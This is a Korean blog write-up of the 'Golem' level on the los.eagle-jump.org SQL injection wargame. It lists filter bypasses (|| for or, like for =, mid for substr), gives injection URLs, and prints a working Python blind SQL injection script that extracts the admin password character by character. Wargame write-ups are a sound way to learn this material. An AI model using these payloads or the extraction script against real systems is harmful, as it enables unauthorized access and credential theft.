White Security
Golem 문제풀이 본문
los.eagle-jump.org 의 11번째 문제입니다.
or, and, substr, = 를 모두 차단하고 있네요.
or : ||
and : &&
substr : mid
= : like
등으로 우회가 가능합니다.
https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw='||1--+-
pw에 '||1을 넣어 항상 true를 반환하도록 만들고
--+- 를 통해 이후 나오는 쿼트를 주석화 시켰습니다.
https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw='||id+like+'admin'+%26%26+1--+-
차단된 '=' 를 대신하여 like를 사용하였고
& (%26) 문자는 인자의 spliter로 사용되기에
URI Encodng 하여 넣어 주었습니다.
admin으로 로그인 되는 것을
확인 하였으니 like 절을 이용해 pw값만 알아내면 되겠군요.
from urllib import request, parse import math, sys def check_true(response): return (response.find(b'Hello admin') != -1); def if_query(query): url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' url += parse.quote("' || id like 'admin' && " + query + " -- -") req = request.Request(url) req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;') req.add_header('user-agent','Mozilla/5.0') response = None while response is None: try: response = request.urlopen(req) except: pass output = response.read() return check_true(output) def check_greater_than(query, val): return if_query(query + '>' + str(val)) def find_char(query): first = 0 last = 129 while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: if check_greater_than(query, mid - 1): first = mid else: last = mid return chr(first) def get_length(query): first = 0 last = 65 query = 'length(' + query + ')' while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: if check_greater_than(query, mid - 1): first = mid else: last = mid return first def get_content(name): name = '(' + name + ')' content_len = get_length(name); content = '' if content_len == 0: sys.stdout.write('Invalid request\n') return '' for idx in range(1, content_len + 1): content += find_char('ascii(mid(' + name + ', ' + str(idx) + ', 1))') sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content))) sys.stdout.write('\n') return content content = get_content('pw')
취약점을 이용해 작성한 파이썬3 스크립트 입니다.
이전 소스를 재활용 하느라 조금 비효율적으로 변했지만
정상적으로 작동하는 것을 확인할 수 있었습니다.
'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글
Bugbear 문제풀이 (0) | 2019.01.30 |
---|---|
Darkknight 문제풀이 (0) | 2019.01.30 |
Skeleton 문제풀이 (0) | 2019.01.30 |
Vampire 문제풀이 (0) | 2019.01.30 |
Troll 문제풀이 (0) | 2019.01.30 |
Comments